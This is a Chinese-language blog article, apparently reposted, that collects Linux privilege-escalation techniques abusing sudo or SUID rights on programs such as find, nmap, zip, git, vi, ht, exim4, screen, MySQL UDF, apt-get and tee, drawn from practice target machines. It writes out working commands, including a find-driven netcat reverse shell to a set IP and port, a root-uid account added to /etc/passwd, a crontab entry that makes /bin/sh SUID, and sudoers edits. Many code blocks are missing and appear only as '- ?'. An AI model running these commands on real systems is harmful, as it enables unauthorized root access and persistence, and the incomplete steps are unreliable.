Linux通过第三方应用提权实战总结
Linux提權,前提是拿到了一個低權限的賬號,能上傳和下載文件,主要思路有:
1、內核提權。網上各種大佬的payload很多,關鍵在于要能找到利用哪個exp以及具體如何利用。省力點的方法是用searchsploit或者linux-exploit-suggester.sh來查找,熟悉之后難度也不大。
2、suid提權。這里也包含了sudo這種方式,兩種方法的思路都是一樣的,區別在于suid針對單個程序,sudo針對某個用戶。這類提權方式的主要思路是:管理員授權普通用戶去執行 root 權限的操作,而不需要知道 root 的密碼,合理的利用擁有root權限的程序,就可以實現提權。通常遇到的情況有:
(1)直接提權,sudo -i 就可以切換到root了;
(2)修改系統文件,如計劃任務文件、用戶文件、密碼文件、sudoers文件等,本文把這個作為彩蛋后續也講一下;
(3)修改程序本身,如果對程序有寫權限的話,直接把反彈的bash命令寫到程序里,運行程序即可提權;
(4)對程序進行溢出,部分程序通過端口可以實現和用戶的交互,這也就存在可以溢出的前提。
總的來說,suid提權難度沒有上限和下限,簡單的直接一個sudo -i命令,難的涉及到溢出,相當于在挖0day。
3、第三方應用提權。
某些程序使用root權限啟動,如果第三方服務或者程序存在漏洞或者配置問題,可以被利用來獲得root權限。相比前幾種方式,難度屬于中間,不像內核提權套路很固定,也不像suid提權方法很靈活多樣。
本文總結了常見的一些第三方應用的提權方法,所以的方法都經過實際測試,拿出來與大家相互交流和學習。(為避免文章篇幅過于冗長,每個應用具體的提權原理就不詳細介紹了,感興趣的自行查閱相關文檔)
find提權
實例1
一個典型的例子是將SUDO權限分配給find命令,以便其他用戶可以在系統中搜索特定的文件相關文件。盡管管理員可能不知道’find’命令包含用于執行命令的參數,但攻擊者可以以root特權執行命令。
拿到普通用戶權限之后,使用sudo –l查看下, 查看當前是否存在當前用戶可以調用sudo的命令,如下圖,當前用戶可以執行find命令,然后通過find命令獲取root權限。
nc正向反彈
nc反向反彈
find /var/www/dirty -exec nc 192.168.167.4 8888 -t -e /bin/sh \實例2
查找具有特殊權限SUID的文件
find / -perm -u=s -type f 2>/dev/null如果find以SUID權限運行,所有通過find執行的命令都會以root提權運行
通過find命令給wget命令提供SUID權限。
通過OpenSSL passwd 生成一個新的用戶hacker,密碼為hack123
openssl passwd -1 -salt hacker hack123 $1$hacker$0vnQaCNuzDe3w9d6jHfXQ0將其追加到kali的/etc/passwd文件中
將
hacker:$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:/root:/bin/bash
追加到passwd中
在Kali上啟動一個python服務器
python -m SimpleHTTPServer 8000
將Kali上的passwd文件下載到靶機etc目錄下并覆蓋原來的passwd文件
- ?
然后切換到hacker用戶即可,
nmap提權
實例1
nmap被suid分配了root權限;
用nmap來提權;
實例2
當單個用戶被分配了root權限時,
nmap提權;
echo "os.execute('/bin/bash')" >> shell.nce sudo nmap -script=/tmp/shell.ncepip提權
pip命令被分配了root權限
pip提權;
- ?
- ?
- ?
zip提權
zip命令被分配了root權限
我們可以發現 sarang 用戶可以以 root 用戶身份權限來運行 zip 命令,那么我們就可以通過 ZIP 來進行提權:
- ?
- ?
還有一種可以這樣玩:先創建一個 liuwx 文件,然后在將它壓縮為zip文件,最后使用unzip-command來執行bash命令從而提權:
- ?
sudo zip /tmp/liuwx.zip /home/sarang/liuwx -T —unzip-command=”sh -c /bin/bash” tmp為可寫目錄,所以壓縮包放在tmp下;
git提權
git命令被分配了root權限
利用git來提權;
- ?
- ?
粘貼代碼到此處,然后回車完成提權;
還可以;
- ?
在末行命令模式輸入 !/bin/bash 或 !’sh’ 完成提權
screen提權
Screen是一款由GNU計劃開發的用于命令行終端切換的自由軟件。用戶可以通過該軟件同時連接多個本地或遠程的命令行會話,并在其間自由切換。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了統一的管理多個會話的界面和相應的功能。
在Screen環境下,所有的會話都獨立的運行,并擁有各自的編號、輸入、輸出和窗口緩存。用戶可以通過快捷鍵在不同的窗口下切換,并可以自由的重定向各個窗口的輸入和輸出。
仔細閱讀下41154.sh腳本的內容,具體操作步驟為:
把41154.sh的代碼分為3個文件;
將兩個c文件在本地編譯后,上傳到靶機下,更改權限后運行;
exim4提權
Exim4是在劍橋大學開發的另一種消息傳輸代理(MTA),用于在連接到Internet的Unix系統上使用。盡管exim的配置與sendmail的配置完全不同,但是可以安裝Exim代替sendmail。
sudo -l用之前的密碼試了不對,發現exim4;
查看exim4當前版本號
- ?
或者 dpkg -l | grep exim 查看包安裝情況
查找漏洞;
用法介紹;
上傳腳本;執行后成功;
vi提權
vi命令分配了root權限
運行sudo -l發現該用戶可以任意用戶執行vi,按esc后輸入:!/bin/bash直接提權至root。
- ?
esc退出,然后輸入 :!/bin/bash ;
或者還可以;
- ?
:set shell=/bin/sh 回車
:shell 回車
python沙箱逃逸
1337端口用python編寫的,于是嘗試python沙箱逃逸
eval(‘import(“os”).system(“whoami”)’) #查看是以什么權限運行
- ?
ht編輯器
ht編輯器被分配了root權限
- ?
- ?
- ?
- ?
- ?
ht編輯器被分配root權限。如果編輯/etc/sudoers,在里面給lone這個用戶的sudo -l 權限再添加個/bin/bash,可以直接拿root的shell了。
ht運行之前要設置下,輸入export TERM=xterm
底下就是命令 f3打開 f2保存
打開sudoers,在用戶那又加了個/bin/bash指令
f2保存退出。。ctrl c
再看看sudo -l,多了命令
- ?
- ?
- ?
- ?
- ?
sudo /bin/bash 搞定,轉成root
mysql UDF提權
查看開啟的端口發現有3306
ps -ef | grep root | grep mysql
很自然想到的MySQL UDF提權,從前面SQL注入中獲取到的信息發現數據庫版本是5.0.12,但是在上傳動態鏈接庫后導出時出錯。然而,在查看mysql數據庫時很幸運發現已經存在func表,且表中含有執行命令的函數,
mysql> use mysql Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -ADatabase changed mysql> select * from func; +-----------------------+-----+---------------------+----------+ | name | ret | dl | type | +-----------------------+-----+---------------------+----------+ | lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function | | sys_exec | 0 | lib_mysqludf_sys.so | function | +-----------------------+-----+---------------------+----------+ 2 rows in set (0.00 sec)mysql> select sys_exec('usermod -a -G admin john'); +--------------------------------------+ | sys_exec('usermod -a -G admin john') | +--------------------------------------+ | NULL | +--------------------------------------+ 1 row in set (0.05 sec)mysql> exit Bye john@Kioptrix4:/var/www$ sudo su - [sudo] password for john: root@Kioptrix4:~# whoami root root@Kioptrix4:~# cd /root root@Kioptrix4:~# ls congrats.txt lshell-0.9.12 root@Kioptrix4:~#apt-get提權
執行sudo -l,發現可以免密執行adduser命令,添加一個root組的用戶
有了這個跟 root 同一組的用戶,就可以讀到一些只能root組和root讀的文件:/etc/sudoers,該文件包含了能夠讓普通用戶執行一些或者全部的root命令,如果該文件可以寫入的話,我們可以把當前用戶寫入:chounana ALL=(ALL:ALL) ALL,這樣當執行sudo su的時候,我們就可以進入到 root 了!
但現在只有讀權限:
查看sudoers文件,查看還有哪些用戶可以使用sudo執行命令,發現一個jason用戶,但是這個用戶并不存在,但是我們是可以新建用戶的,所以需要密碼(自己的密碼)才能執行這個也就沒有問題。
exit退回到saint用戶,新建jason用戶
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
切換到jason用戶,使用apt-get命令提權,因為用戶是自己建立的,所以密碼也當然是知道的;
- ?
- ?
最后一個是彩蛋環節,通過tee命令來重寫系統文件以達到提權的目的,實戰中不管修改的方式如何變化,但所要修改的文件就這3個系統文件,修改的內容也大同小異。
tee提權
這里靶機用的是teehee命令,可以寫入文件內容并不覆蓋文件原有內容,功能與tee命令類似。
雖然有密碼,但不能直接切到root,從sudo看,明顯這個teehee可以不要密碼以root身份運行,提權就靠這個程序了;
1、修改/etc/passwd用戶信息
追加一個名為hacker的用戶,將它的uid和gid也設置為root的0:
- ?
2、修改/etc/crontab計劃任務文件
可以在/etc/crontab下寫入定時計劃,提升到root權限。
crontab介紹
Linux crontab是用來定期執行程序的命令。當安裝完成操作系統之后,默認便會啟動此任務調度命令。
f1 f2 f3 f4 f5 program其中 f1 是表示分鐘,f2 表示小時,f3 表示一個月份中的第幾日,f4 表示月份,f5 表示一個星期中的第幾天。program 表示要執行的程序。當 f1 為 * 時表示每分鐘都要執行 program,f2 為 * 時表示每小時都要執行程序,其馀類推;當 f1 為 a-b 時表示從第 a 分鐘到第 b 分鐘這段時間內要執行,f2 為 a-b 時表示從第 a 到第 b 小時都要執行,其馀類推;當 f1 為 */n 時表示每 n 分鐘個時間間隔執行一次,f2 為 */n 表示每 n 小時個時間間隔執行一次,其馀類推;當 f1 為 a, b, c,... 時表示第 a, b, c,... 分鐘要執行,f2 為 a, b, c,... 時表示第 a, b, c...個小時要執行,其馀類推 * * * * *- - - - -| | | | || | | | +----- 星期中星期幾 (0 - 7) (星期天 為0)| | | +---------- 月份 (1 - 12) | | +--------------- 一個月中的第幾天 (1 - 31)| +-------------------- 小時 (0 - 23)+------------------------- 分鐘 (0 - 59)所以我們可以追加內容為:echo “?* root chmod 4777 /bin/sh” | sudo teehee -a /etc/crontab,表示在/etc/crontab下寫入定時計劃,一分鐘后由root用戶給 /bin/bash 命令加權限(chmod 4777即開啟suid和rwx權限):
3、修改/etc/sudoers文件
先看看本地sudoers文件的語法。cat sudoers;
仿造寫一個 charles ALL=(ALL:ALL) ALL
可以看到現在charles可以以root用戶身份運行所有命令
總結
此次對于第三方應用的提權總結就告一段落了,相對suid提權而言,第三方應用提權可查的資料更多一點,套路也相對單一點,不像suid提權需要根據程序的具體情況來處理,沒有相對固定的套路。對第三方應用提權多進行總結和歸納,當再次遇到的時候心里更有底,也就不那么慌了。
總結
以上是生活随笔為你收集整理的Linux通过第三方应用提权实战总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 某大学多站联动获取webshell
- 下一篇: 记一次某APK的恶意WIFI攻击